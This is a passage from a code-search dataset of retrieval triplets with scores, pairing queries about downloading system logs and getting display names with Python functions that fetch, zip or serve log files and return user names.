pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def display_name(self) -> str:\\n return pulumi.get(self, \\\"display_name\\\")\",\n \"def get_fulll_name(self):\\n return self.name\",\n \"def get_displayname(self):\\n return self.full_name or self.user.username\",\n \"def name(self):\\n\\n if not hasattr(self, \\\"_name\\\"):\\n name = Doc.get_text(self.doc.find(\\\"PreferredName\\\", \\\"\\\"))\\n self._name = name.strip()\\n return self._name\",\n \"def get_name(self):\",\n \"def get_name(self):\",\n \"def name() -> str:\\n pass\",\n \"def get_short_name(self) -> str:\\n return self.first_name\",\n \"def niceName(self, path):\\n logger.debug(\\\"Func: niceName\\\")\\n\\n basename = os.path.split(path)[1]\\n return os.path.splitext(basename)[0]\",\n \"def _username_from_name(self, name):\\r\\n return name.replace(' ', '_')\",\n \"def name(self):\\n if self.attrs.get('Name') is not None:\\n return self.attrs['Name'].lstrip('/')\",\n \"def label_from_instance(obj):\\n if len(obj.first_name) > 0 and len(obj.last_name) > 0:\\n return \\\"{} {}\\\".format(obj.first_name, obj.last_name)\\n else:\\n return \\\"<{}>\\\".format(obj.username)\",\n \"def get_short_name(self):\\n\\n return self.name\",\n \"def name(self) -> str:\\n return self.get_full_name()\",\n \"def get_full_name_with_academic_title(self) -> str:\\n base_name = super().get_full_name()\\n return f'{self.title} {base_name}' if self.title else base_name\",\n \"def friendly_name(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def friendly_name(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def friendly_name(self) -> Optional[pulumi.Input[str]]:\\n return pulumi.get(self, \\\"friendly_name\\\")\",\n \"def generateUsername(self):\\n retval= \\\"{0}.{1}\\\".format( self.first_name.split()[0].lower(),\\n self.last_name.split()[-1].lower() )\\n \\n return toAscii(retval)\",\n \"def get_display_name(member):\\n if member.nick is None:\\n name = member.name\\n else:\\n name = member.nick\\n if User.objects.get(id=member.id).is_ironman:\\n name += ' (IM)'\\n return name\",\n \"def get_name(self) :\\n\\n return self.factory.to_user_name(self.name)\",\n \"def get_short_name(self):\\n return self.username\",\n \"def get_short_name(self):\\n return self.username\",\n \"def get_short_name(self):\\n return self.username\",\n \"def get_full_name(self):\\n full_name = '%s %s' % (self.first_name, self.last_name)\\n return full_name.strip()\",\n \"def _name (self, incAggr = True):\\n\\t\\taggrName = \\\"@%s\\\" % self.aggr if self.aggr and incAggr else \\\"\\\"\\n\\t\\ttag = \\\".%s\\\" % self.tag if self.tag != \\\"notag\\\" else \\\"\\\"\\n\\t\\treturn \\\"%s%s%s\\\" % (self.id, tag, aggrName)\",\n \"def get_name(self) -> str:\\r\\n return self.name\",\n \"def name(self):\\n return f\\\"{self._name.replace('_', ' ')}\\\".title()\",\n \"def printname(bruce):\",\n \"def get_name(self):\\n pass\",\n \"def get_name(self):\\n pass\",\n \"def get_user_name(self):\\n full_name = f'{self.f_name} {self.l_name}'\\n return full_name\",\n \"def second_name(self, instance):\\r\\n return instance.user.profile.second_name\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7759537","0.7210823","0.71292967","0.7072953","0.70387155","0.69336873","0.688742","0.67883503","0.6753615","0.67322063","0.6729379","0.67096","0.67054737","0.6651297","0.66264844","0.6609411","0.6609411","0.6609411","0.6609411","0.6609411","0.6609411","0.6577421","0.6575875","0.65483785","0.65450674","0.65450674","0.65450674","0.65450674","0.65450674","0.6519995","0.6508977","0.65088373","0.6494634","0.64919835","0.64823514","0.64698297","0.64655554","0.6443365","0.644017","0.644017","0.644017","0.644017","0.6424523","0.64191467","0.6416681","0.6416681","0.6416681","0.6416681","0.6416681","0.6411312","0.6402897","0.64006436","0.6391411","0.63909477","0.63827133","0.6376032","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6373896","0.6361031","0.63526815","0.63505596","0.63407797","0.63407797","0.6327661","0.6316527","0.6311538","0.6307445","0.63036525","0.63030297","0.62974685","0.6286735","0.6285999","0.6285592","0.6285592","0.6285592","0.62854075","0.62801164","0.6278798","0.62738526","0.62738526","0.62738526","0.62713563","0.62708944","0.6268489","0.6265735","0.6261752","0.6260566","0.6260566","0.6257108","0.62469864"],"string":"[\n \"0.7759537\",\n \"0.7210823\",\n \"0.71292967\",\n \"0.7072953\",\n \"0.70387155\",\n \"0.69336873\",\n \"0.688742\",\n \"0.67883503\",\n \"0.6753615\",\n \"0.67322063\",\n \"0.6729379\",\n \"0.67096\",\n \"0.67054737\",\n \"0.6651297\",\n \"0.66264844\",\n \"0.6609411\",\n \"0.6609411\",\n \"0.6609411\",\n \"0.6609411\",\n \"0.6609411\",\n \"0.6609411\",\n \"0.6577421\",\n \"0.6575875\",\n \"0.65483785\",\n \"0.65450674\",\n \"0.65450674\",\n \"0.65450674\",\n \"0.65450674\",\n \"0.65450674\",\n \"0.6519995\",\n \"0.6508977\",\n \"0.65088373\",\n \"0.6494634\",\n \"0.64919835\",\n \"0.64823514\",\n \"0.64698297\",\n \"0.64655554\",\n \"0.6443365\",\n \"0.644017\",\n \"0.644017\",\n \"0.644017\",\n \"0.644017\",\n \"0.6424523\",\n \"0.64191467\",\n \"0.6416681\",\n \"0.6416681\",\n \"0.6416681\",\n \"0.6416681\",\n \"0.6416681\",\n \"0.6411312\",\n \"0.6402897\",\n \"0.64006436\",\n \"0.6391411\",\n \"0.63909477\",\n \"0.63827133\",\n \"0.6376032\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6373896\",\n \"0.6361031\",\n \"0.63526815\",\n \"0.63505596\",\n \"0.63407797\",\n \"0.63407797\",\n \"0.6327661\",\n \"0.6316527\",\n \"0.6311538\",\n \"0.6307445\",\n \"0.63036525\",\n \"0.63030297\",\n \"0.62974685\",\n \"0.6286735\",\n \"0.6285999\",\n \"0.6285592\",\n \"0.6285592\",\n \"0.6285592\",\n \"0.62854075\",\n \"0.62801164\",\n \"0.6278798\",\n \"0.62738526\",\n \"0.62738526\",\n \"0.62738526\",\n \"0.62713563\",\n \"0.62708944\",\n \"0.6268489\",\n \"0.6265735\",\n \"0.6261752\",\n \"0.6260566\",\n \"0.6260566\",\n \"0.6257108\",\n \"0.62469864\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.73069805"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":15389,"cells":{"query":{"kind":"string","value":"Download the system log of the type specified in log_type POST param This calls the /sys_log via an http request on that node to get the info"},"document":{"kind":"string","value":"def download_log(request):\n\n return_dict = {}\n try:\n form = log_management_forms.DownloadLogsForm(request.POST or None)\n\n if request.method == 'POST':\n if form.is_valid():\n cd = form.cleaned_data\n log_type = cd['log_type']\n\n response = django.http.HttpResponse()\n if log_type in ['alerts', 'audit', 'hardware']:\n if log_type == 'alerts':\n response['Content-disposition'] = 'attachment; filename=alerts_log.txt'\n all_alerts, err = alerts.get_alerts()\n if err:\n raise Exception(err)\n for alert in all_alerts:\n response.write('%s : %s\\n' %\n (alert['time'], alert['message']))\n response.flush()\n elif log_type == 'audit':\n response['Content-disposition'] = 'attachment; filename=audit_log.txt'\n all_audits, err = audit.get_lines()\n if err:\n raise Exception(err)\n for audit_info in all_audits:\n response.write('Time : %s \\n' % audit_info['time'])\n response.write('Source IP : %s \\n' %\n audit_info['ip'])\n response.write('Action : %s \\n' %\n audit_info['action'])\n response.write('\\n')\n response.flush()\n elif log_type == 'hardware':\n response['Content-disposition'] = 'attachment; filename=hardware_logs.txt'\n hw_platform, err = config.get_hardware_platform()\n if not hw_platform or hw_platform != 'dell':\n raise Exception('Unknown hardware platform')\n if hw_platform == 'dell':\n from integralstor_utils.platforms import dell\n logs_dict, err = dell.get_alert_logs()\n if err:\n raise Exception(err)\n if not logs_dict:\n raise Exception('No logs detected!')\n for timestamp, log_list in logs_dict.items():\n for log in log_list:\n response.write('Time : %s\\n' %\n log['date_time'])\n response.write(\n 'Severity : %s\\n' % log['Severity'])\n response.write(\n 'Description : %s\\n' % log['description'])\n response.write('\\n')\n response.flush()\n else:\n raise Exception('Unknown platform')\n else:\n\n fn = {'boot': '/var/log/boot.log', 'dmesg': '/var/log/dmesg', 'message': '/var/log/messages',\n 'smb': '/var/log/smblog.vfs', 'winbind': '/var/log/samba/log.winbindd', 'ctdb': '/var/log/log.ctdb'}\n dn = {'boot': 'boot.log', 'dmesg': 'dmesg', 'message': 'messages',\n 'smb': 'samba_logs', 'winbind': 'winbind_logs', 'ctdb': 'ctdb_logs'}\n\n file_name = fn[log_type]\n display_name = dn[log_type]\n\n zf_name = '%s.zip' % display_name\n\n try:\n zf = zipfile.ZipFile(zf_name, 'w')\n zf.write(file_name, arcname=display_name)\n zf.close()\n except Exception as e:\n raise Exception(\n \"Error compressing remote log file : %s\" % str(e))\n\n response['Content-disposition'] = 'attachment; filename=%s.zip' % (\n display_name)\n response['Content-type'] = 'application/x-compressed'\n with open(zf_name, 'rb') as f:\n byte = f.read(1)\n while byte:\n response.write(byte)\n byte = f.read(1)\n response.flush()\n\n return response\n\n # either a get or an invalid form so send back form\n return_dict['form'] = form\n return django.shortcuts.render_to_response('download_log_form.html', return_dict, context_instance=django.template.context.RequestContext(request))\n except Exception, e:\n return_dict['base_template'] = \"logging_base.html\"\n return_dict[\"page_title\"] = 'Download system logs'\n return_dict['tab'] = 'download_logs_tab'\n return_dict[\"error\"] = 'Error downloading system logs'\n return_dict[\"error_details\"] = str(e)\n return django.shortcuts.render_to_response(\"logged_in_error.html\", return_dict, context_instance=django.template.context.RequestContext(request))"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def logType(log):\n filename = log_dir\n if log == \"general\":\n filename += \"openvpn.log\"\n elif log == \"status\":\n filename += \"openvpn-status.log\"\n else:\n abort(404)\n \n return jsonify({\"logData\" : hl.getLog(filename)})","def download_log(request):\n\n return_dict = {}\n try:\n hw_platform, err = config.get_hardware_platform()\n if err:\n raise Exception(err)\n if hw_platform and hw_platform != 'dell':\n raise Exception('Unknown hardware platform')\n return_dict['hw_platform'] = hw_platform\n\n form = log_management_forms.DownloadLogsForm(request.POST or None)\n\n if request.method == 'POST':\n if form.is_valid():\n cd = form.cleaned_data\n log_type = cd['log_type']\n\n if log_type in ['alerts', 'audit', 'hardware']:\n response = django.http.HttpResponse()\n if log_type == 'alerts':\n response['Content-disposition'] = 'attachment; filename=alerts_log.txt'\n all_alerts, err = alerts.get_alerts()\n if err:\n raise Exception(err)\n for alert in all_alerts:\n if int(alert['repeat_count']) > 1:\n response.write('Last alert time %s\\nAlert message: %s\\nRepeated count: %d\\n\\n' %\n (alert['last_update_time'], alert['alert_str'], int(alert['repeat_count'])))\n else:\n response.write('Last alert time %s\\nAlert message: %s\\n\\n' %\n (alert['last_update_time'], alert['alert_str']))\n response.flush()\n elif log_type == 'audit':\n response['Content-disposition'] = 'attachment; filename=audit_log.txt'\n all_audits, err = audit.get_entries()\n if err:\n raise Exception(err)\n for audit_info in all_audits:\n response.write('Time : %s \\n' % audit_info['time'])\n response.write('Source IP : %s \\n' %\n audit_info['ip'])\n response.write('Action : %s \\n' %\n audit_info['action_str'])\n response.write('\\n')\n response.flush()\n elif log_type == 'hardware':\n response['Content-disposition'] = 'attachment; filename=hardware_logs.txt'\n hw_platform, err = config.get_hardware_platform()\n if not hw_platform or hw_platform != 'dell':\n raise Exception('Unknown hardware platform')\n if hw_platform == 'dell':\n from integralstor.platforms import dell\n logs_dict, err = dell.get_alert_logs()\n if err:\n raise Exception(err)\n if not logs_dict:\n raise Exception('No logs detected!')\n for timestamp, log_list in logs_dict.items():\n for log in log_list:\n response.write('Time : %s\\n' %\n log['date_time'])\n response.write(\n 'Severity : %s\\n' % log['Severity'])\n response.write(\n 'Description : %s\\n' % log['description'])\n response.write('\\n')\n response.flush()\n else:\n raise Exception('Unknown platform')\n else:\n scripts_log, err = config.get_scripts_log_path()\n if err:\n raise Exception(err)\n\n system_logs = [('/var/log/boot.log', 'boot.log'), ('/var/log/dmesg', 'dmesg'), ('/var/log/messages', 'messages'),\n ('/var/log/smblog.vfs', 'samba'), ('/var/log/samba/log.winbindd', 'winbind'), (scripts_log, 'scripts')]\n\n now_local_epoch, err = datetime_utils.get_epoch(when='now')\n if err:\n raise Exception(err)\n now_local_str, err = datetime_utils.convert_from_epoch(\n now_local_epoch, return_format='str', str_format='%Y_%m_%d_%H_%M', to='local')\n if err:\n raise Exception(err)\n\n zf_name = 'IntegralSTOR_system_logs_%s.zip' % now_local_str\n\n try:\n out = io.BytesIO()\n zf = zipfile.ZipFile(out, 'w')\n for entry in system_logs:\n zf.write(entry[0], arcname=entry[1])\n #zf.write(file_name, arcname=display_name)\n zf.close()\n except Exception as e:\n raise Exception(\n \"Error compressing log file : %s\" % str(e))\n\n response = django.http.HttpResponse(\n out.getvalue(), content_type='application/x-compressed')\n response['Content-disposition'] = 'attachment; filename=%s' % (\n zf_name)\n\n return response\n\n # either a get or an invalid form so send back form\n return_dict['form'] = form\n return django.shortcuts.render_to_response('download_log_form.html', return_dict, context_instance=django.template.context.RequestContext(request))\n except Exception, e:\n return_dict['base_template'] = \"logging_base.html\"\n return_dict[\"page_title\"] = 'Download system logs'\n return_dict['tab'] = 'logs_tab'\n return_dict[\"error\"] = 'Error downloading system logs'\n return_dict[\"error_details\"] = str(e)\n return django.shortcuts.render_to_response(\"logged_in_error.html\", return_dict, context_instance=django.template.context.RequestContext(request))","def download_xes_log():\n # reads the session\n session = request.args.get('session', type=str)\n # reads the requested process name\n process = request.args.get('process', default='receipt', type=str)\n if Configuration.enable_download:\n if check_session_validity(session):\n user = get_user_from_session(session)\n if lh.check_user_log_visibility(user, process):\n if lh.check_user_enabled_download(user, process):\n content = lh.get_handler_for_process_and_session(process, session).download_xes_log()\n return jsonify({\"content\": content.decode('utf-8')})\n return jsonify({\"content\": \"\"})","def Logs():\n # time.sleep(100)\n params = request.get_json()\n hostname = params.get('vaultip', '164.99.91.35')\n password = params.get('boxpass', 'novell')\n username = params.get('boxusername', 'root')\n port = 22\n logType = 'download'\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n client.connect(hostname=hostname, username=username, password=password, port=port)\n\n try:\n print('configure')\n logType= 'configure'\n sftp = client.open_sftp()\n stdin = sftp.open('/var/opt/netiq/idm/log/idmconfigure.log','r')\n # sftp.close();\n except Exception:\n try:\n print('install')\n logType= 'install'\n # sftp = client.open_sftp()\n stdin = sftp.open('/var/opt/netiq/idm/log/idminstall.log','r')\n except Exception:\n #sftp.close()\n print('download')\n logType= 'download'\n try:\n stdin = sftp.open('/tmp/download.log','r')\n except Exception:\n sftp.close()\n return jsonify('no file'),200\n #sftp.close()\n log = stdin.readlines()\n data={'type':logType,'log':log}\n return jsonify(data),200","def get_logs(self, offset = 0, length = 10, type = \"all\"):\n if isinstance(type, bool):\n if type:\n type = \"error\"\n else:\n type = \"all\"\n return AlgoliaUtils_request(self.headers, self.write_hosts, \"GET\", \"/1/logs?offset=%d&length=%d&type=%s\" % (offset, length, type), self.timeout)","def _process_logs_download(self, logfile):\r\n\r\n print 'Downloading PCU logs'\r\n command = 'robot --outputdir \"C:\\Robot Framework\\Output\\PCU_logs\" {}.robot'.format(self.name)\r\n\r\n return self._run_command(command, logfile)","def download_csv_log():\n # reads the session\n session = request.args.get('session', type=str)\n # reads the requested process name\n process = request.args.get('process', default='receipt', type=str)\n if Configuration.enable_download:\n if check_session_validity(session):\n user = get_user_from_session(session)\n if lh.check_user_log_visibility(user, process):\n if lh.check_user_enabled_download(user, process):\n content = lh.get_handler_for_process_and_session(process, session).download_csv_log()\n return jsonify({\"content\": content})\n return jsonify({\"content\": \"\"})","def get_server_logs(self):\n self.response.content\n binary_body = re.split('--==.*==', self.response.content)[2].split('\\r\\n')[5]\n\n f = StringIO.StringIO()\n f.write(bytearray(binary_body))\n\n memory_zip = ZipFile(f)\n zip_content = {name: memory_zip.read(name) for name in memory_zip.namelist()}\n oracc_log = zip_content['oracc.log']\n request_log = zip_content['request.log']\n\n # Check if server returns a lemmatised file\n autolem = None \n for key, value in zip_content.iteritems():\n if key.endswith(\"autolem.atf\"):\n autolem = value\n\n print zip_content.keys()\n print \"@\"*30\n print oracc_log\n print \"@\"*30\n print request_log\n print \"@\"*30\n if autolem:\n print autolem\n print \"@\"*30\n\n return oracc_log, request_log, autolem","def log(self):\n resp = requests.get(\"%s/api/log\"%self.urlbase, verify=False)\n return resp.json[\"log\"]","def getLog():\n with open(webapp.config['LOGFILE'], 'r') as logfile:\n output = logfile.read()\n if request.headers['Accept'] == 'application/json':\n return output, 200\n else:\n return render_template(\"output.html\", output=output)","def log_export(request, xform, export_type):\n # log download as well\n audit = {\"xform\": xform.id_string, \"export_type\": export_type}\n log.audit_log(\n log.Actions.EXPORT_DOWNLOADED,\n request.user,\n xform.user,\n _(f\"Downloaded {export_type.upper()} export on '{xform.id_string}'.\"),\n audit,\n request,\n )","def log(self, namespace, agent, ltype: int = 0):\n if isinstance(agent, Agent):\n agent = agent.uid\n\n with self.lock:\n with self.zip.open(f'{namespace}/logs/{agent}_{ltype}.txt', 'r') as log:\n return log.read().decode('utf-8')","def get_log(request, **kwargs):\n\n #Creating the command for the logs \n try:\n\tprint(kwargs)\n\tprint(request.GET['project_id'])\n\toutputStr = sidecar.events.test_logs(project_id=request.GET['project_id'])\n\tlog_data = outputStr.log_data\n\toutputStr = \" <br>\".join(log_data.split(\"\\n\"))\n except Exception, e:\n outputStr = \"Updating the logs...\"\t\n #Making the output\n context = {\n \"page_title\": _(\"Test Details\"),\n \"test_lists\": 'report_list', #tests_list\n \"log_data\": outputStr\n }\n return render(request, 'rally_dashboard/events/test_logs.html', context)","def _read_log(self, **kwargs):\n\n log_file = find_log_file()\n\n if not log_file:\n raise RequestProcessingError(\n \"Error attempting to retrieve logs - unable to determine log filename. \"\n \"Please verify that the plugin is writing to a log file.\"\n )\n\n try:\n return read_log_file(log_file=log_file, **kwargs)\n except IOError as e:\n raise RequestProcessingError(\n \"Error attempting to retrieve logs - unable to read log file at {0}. \"\n \"Root cause I/O error {1}: {2}\".format(log_file, e.errno, e.strerror)\n )","def __download(self, downloadType):\n\n downloadAudit = {}\n downloadAudit['download_type'] = downloadType\n downloadAudit['remote_url'] = self.remoteUrl#get the url that is being requested\n downloadAudit['download_start_time'] = datetime.now()#capture the date when the url was accessed\n #first make an entry into the db stating that a download operation is to be attempted\n downloadAudit['comment'] = 'Starting download operation'\n newRecordId = self.__auditFileRequest(downloadAudit)\n\n downloadAudit = {}\n try:\n req = urllib2.Request(self.remoteUrl)\n r = urllib2.urlopen(req)\n except URLError, urle:\n if hasattr(urle, 'reason'):\n downloadAudit['comment'] = urle.reason\n else:\n downloadAudit['comment'] = urle.__str__()\n \n self.__auditFileRequest(downloadAudit, newRecordId)\n \n return None #just return since there has been an error in connecting with the remote server\n\n try:\n downloadAudit['local_file_path'] = '/' + self.localRepoDir + '/' + downloadType + '/' + downloadType + '-' + datetime.now().strftime('%Y-%m-%d %H:%M:%S') + '.xls'\n\n file = open(settings.APPLICATION_SETTINGS['MCH_HOME'] + downloadAudit['local_file_path'], 'wb')\n file.write(r.read())\n\n #headerInfo = r.info()\n\n isFileToBeProcessed = False #default is not to process file\n\n #before downloading, check to see if the remote file is more recent than the last file that was downloaded, whose\n #information is in the db\n latestFetch = self.__recentDownload(downloadType)\n\n if latestFetch:\n downloadAudit['file_size'] = latestFetch[0]\n file.flush()#make sure all the content is written to file \n os.fsync(file.fileno())\n if latestFetch[0] != os.path.getsize(file.name):\n isFileToBeProcessed = True\n else:\n isFileToBeProcessed = True\n\n if isFileToBeProcessed:\n downloadAudit['file_size'] = os.path.getsize(file.name)\n downloadAudit['file_modification_time'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n downloadAudit['download_completion_time'] = datetime.now()\n #now make an audit entry into the database\n downloadAudit['comment'] = 'New file to be processed.'\n else:\n os.remove(file.name)#remove the file since it looks like it has already been downloaded and processed\n #now make an audit entry into the database\n downloadAudit['comment'] = 'File already downloaded, purged it from the file system.'\n\n self.__auditFileRequest(downloadAudit, newRecordId)\n file.close()\n except Exception as e:\n self.logger.exception('\\n Unknown fatal error occured during the downloading of the raw files. %s' % str(e))\n\n return newRecordId","def getLogs():","def getLogs():","def log_type(self) -> str:\n return pulumi.get(self, \"log_type\")","def log(self, type:str, data:dict={}, **kwdargs):\n info = {}\n \n info['type'] = type\n info['session'] = self.session\n\n kwdargs.update(data)\n info['data'] = kwdargs\n\n if self.log_gpu_stats:\n keys = ['fan_spd', 'temp', 'pwr_used', 'mem_used', 'util']\n \n gpus = gpu_info()\n info['gpus'] = [{k: gpus[i][k] for k in keys} for i in self.visible_gpus]\n \n if self.log_time:\n info['time'] = time.time()\n \n \n out = json.dumps(info) + '\\n'\n\n with open(self.log_path, 'a') as f:\n f.write(out)","def GetLogs(self):\n raise NotImplementedError()","def log():\n data = {}\n log = {}\n log['dia'] = date.today().strftime(\"%d/%m/%Y\")\n log['info'] = ('Rooms IP: %s %s %s')%(request.remote_addr,request.method, request.url)\n data['data'] = log\n try:\n r = requests.post(uri, json=data)\n except requests.exceptions.RequestException as e:\n print(e)\n print(\"\\n\\nThe microservice Log is unvailable. The Log is %s.\"%(log['info']))\n else:\n if r.status_code == 200:\n print(\"Register Log was a success\")\n else:\n print(\"Register Log was an unsuccess\")","def download_file(self):\n\n self.monitor.info(f'-> Started to download log file from: {self.url}...')\n try:\n log_file = requests.get(self.url, allow_redirects=True)\n\n postfix = f'{datetime.today().strftime(\"%Y_%m_%d\")}_{str(int(time.time()))}'\n filename = f\"log_file_{postfix}.txt\"\n\n self.monitor.info(f'-> Writing file to {LOG_FILES_PATH}...')\n open(LOG_FILES_PATH + '/' + filename, 'wb').write(log_file.content)\n self.monitor.info(f'-> Finished writing file to {LOG_FILES_PATH}.')\n\n file_path = self.log_file_path + '/' + filename\n\n return file_path, postfix\n\n except requests.exceptions.SSLError as connection_error:\n self.monitor.exception(f'-> Something bad happened. Details:\\n {repr(connection_error)}')\n return None, None","def search_log(doc_type, query):\n if query:\n body = {\n \"from\": 0,\n \"size\": 50,\n \"sort\": [\n {\n \"created_at\": {\n \"order\": \"desc\"\n }\n }\n ],\n \"query\": {\n \"term\": {\n \"_all\": \"the\"\n }\n }\n }\n else:\n body = {\n \"from\": 0,\n \"size\": 50,\n \"sort\": [\n {\n \"created_at\": {\n \"order\": \"desc\"\n }\n }\n ]\n }\n if doc_type:\n print \"condition 1 true\"\n res = es.search(index=\"logs\", doc_type=str(doc_type).strip(), body=body)\n else:\n res = es.search(index=\"logs\", body=body)\n\n data = []\n if not res.get('timed_out'):\n for item in res[\"hits\"][\"hits\"]:\n data.append({\n 'client_ip': item['_source'].get('client_ip'),\n 'client': item['_source'].get('client'),\n 'log': item['_source'].get('log'),\n 'service': item['_source'].get('service'),\n })\n response = {\"data\": data}\n return response","def updater_log_file(self,request):\n\t\t# ----------- DEBUG -----------------\n\t\tMODULE.info(\"updater/installer/logfile invoked with:\")\n\t\tpp = pprint.PrettyPrinter(indent=4)\n\t\tst = pp.pformat(request.options).split(\"\\n\")\n\t\tfor s in st:\n\t\t\t\tMODULE.info(\" << %s\" % s)\n\t\t# -----------------------------------\n\t\tresult = None\n\t\tjob = ''\n\t\tif self._current_job and 'job' in self._current_job:\n\t\t\tjob = self._current_job['job']\n\t\telse:\n\t\t\tjob = request.options.get('job','')\n\n\t\tcount = request.options.get('count',0)\n\t\tif count < 0:\n\t\t\tresult = 0\n\t\telse:\n\t\t\tresult = []\n\t\tif not job in INSTALLERS:\n\t\t\t# job empty: this is the first call I can't avoid\n\t\t\tif job != '':\n\t\t\t\tMODULE.warn(\" ?? Don't know a '%s' job\" % job)\n\t\telse:\n\t\t\tif not 'logfile' in INSTALLERS[job]:\n\t\t\t\tMODULE.warn(\" ?? Job '%s' has no associated log file\" % job)\n\t\t\telse:\n\t\t\t\tfname = INSTALLERS[job]['logfile']\n\t\t\t\tif count < 0:\n\t\t\t\t\tresult = self._logstamp(fname)\n\t\t\t\telse:\n\t\t\t\t\t# don't read complete file if we have an 'ignore' count\n\t\t\t\t\tif ('lines' in self._current_job) and (self._current_job['lines']):\n\t\t\t\t\t\tcount += int(self._current_job['lines'])\n\t\t\t\t\tresult = self._logview(fname, -count)\n\n\t\t# again debug, shortened\n\t\tif isinstance(result,int):\n\t\t\tMODULE.info(\" >> %d\" % result)\n\t\telse:\n\t\t\tMODULE.info(\" >> %d lines\" % len(result))\n\n\t\t# ----------- DEBUG -----------------\n\t\tMODULE.info(\"updater/installer/logfile returns:\")\n\t\tpp = pprint.PrettyPrinter(indent=4)\n\t\tst = pp.pformat(result).split(\"\\n\")\n\t\tfor s in st:\n\t\t\t\tMODULE.info(\" >> %s\" % s)\n\t\t# -----------------------------------\n\n\t\tself.finished(request.id, result)","def Process(self) -> None:\n\n output_file = tempfile.NamedTemporaryFile(\n mode='w', delete=False, encoding='utf-8', suffix='.jsonl')\n output_path = output_file.name\n self.logger.info('Downloading logs to {0:s}'.format(output_path))\n\n try:\n if self._project_name:\n logging_client = logging.Client(_use_grpc=False, # type: ignore\n project=self._project_name)\n else:\n logging_client = logging.Client(_use_grpc=False) # type: ignore\n\n results = logging_client.list_entries( # type: ignore\n order_by=logging.DESCENDING,\n filter_=self._filter_expression,\n page_size=1000)\n\n pages = results.pages\n\n while True:\n try:\n page = next(pages)\n except google_api_exceptions.TooManyRequests as exception:\n self.logger.warning(\n 'Hit quota limit requesting GCP logs: {0:s}'.format(\n str(exception)))\n time.sleep(4)\n continue\n except StopIteration:\n break\n\n for entry in page:\n\n log_dict = entry.to_api_repr()\n output_file.write(json.dumps(log_dict))\n output_file.write('\\n')\n\n except google_api_exceptions.NotFound as exception:\n self.ModuleError(\n 'Error accessing project: {0!s}'.format(exception), critical=True)\n\n except google_api_exceptions.InvalidArgument as exception:\n self.ModuleError(\n 'Unable to parse filter {0:s} with error {1:s}'.format(\n self._filter_expression, exception), critical=True)\n\n except (google_auth_exceptions.DefaultCredentialsError,\n google_auth_exceptions.RefreshError) as exception:\n self.ModuleError(\n 'Something is wrong with your gcloud access token or '\n 'Application Default Credentials. Try running:\\n '\n '$ gcloud auth application-default login')\n # TODO: determine if exception should be converted into a string as\n # elsewhere in the codebase.\n self.ModuleError(exception, critical=True)\n\n except HttpError as exception:\n if exception.resp.status == 403:\n self.ModuleError(\n 'Make sure you have the appropriate permissions on the project')\n if exception.resp.status == 404:\n self.ModuleError(\n 'GCP resource not found. Maybe a typo in the project name?')\n self.ModuleError(str(exception), critical=True)\n\n self.PublishMessage(f'Downloaded logs to {output_path}')\n output_file.close()\n\n logs_report = containers.GCPLogs(\n path=output_path, filter_expression=self._filter_expression,\n project_name=self._project_name)\n self.state.StoreContainer(logs_report)","def get_system_logfile():\n return \"system\" + get_day() + \".log\"","def __init__(self, api_path=None, log_path=None, log_level=\"DEBUG\"):\n\n # Construct the log path. \n if log_path:\n self.log_path = log_path\n else:\n defaultlog_path = \"~/Spirent/CTA/Logs/\"\n\n now = datetime.datetime.now()\n defaultlog_path += now.strftime(\"%Y-%m-%d-%H-%M-%S\")\n defaultlog_path += \"_PID\"\n defaultlog_path += str(os.getpid())\n defaultlog_path = os.path.expanduser(defaultlog_path)\n \n # The environment variable overwrites the default path. \n self.log_path = os.getenv(\"CTA_LOG_OUTPUT_DIRECTORY\", defaultlog_path) \n\n self.log_path = os.path.abspath(self.log_path)\n self.logfile = os.path.join(self.log_path, \"cta_python.log\") \n\n if not os.path.exists(self.log_path):\n os.makedirs(self.log_path)\n\n # NOTE: Consider limiting the number of log directories that are created.\n # It would mean deleting older directories.\n\n #16/05/18 11:03:53.717 INFO 3078268608 - user.scripting - stc::get automationoptions -suppressTclErrors\n #16/05/18 11:03:53.717 INFO 3078268608 - user.scripting - return false\n #2016-05-19 14:05:56,382 UserID =mjefferson\n #2016-05-19 14:05:56,382 Log Level=INFO\n\n if log_level == \"CRITICAL\":\n log_level = logging.CRITICAL\n elif log_level == \"ERROR\":\n log_level = logging.ERROR\n elif log_level == \"WARNING\":\n log_level = logging.WARNING\n elif log_level == \"INFO\": \n log_level = logging.INFO\n else:\n # DEBUG is the default log level.\n log_level = logging.DEBUG \n \n logging.basicConfig(filename=self.logfile, filemode=\"w\", level=log_level, format=\"%(asctime)s %(levelname)s %(message)s\")\n #logging.Formatter(fmt='%(asctime)s.%(msecs)03d',datefmt='%Y/%m/%d %H:%M:%S')\n # Add timestamps to each log message.\n #logging.basicConfig()\n # The logger is now ready. \n\n logging.info(\"Spirent TestCenter Conformance Application Python API is starting up...\")\n logging.info(\"OS Type = 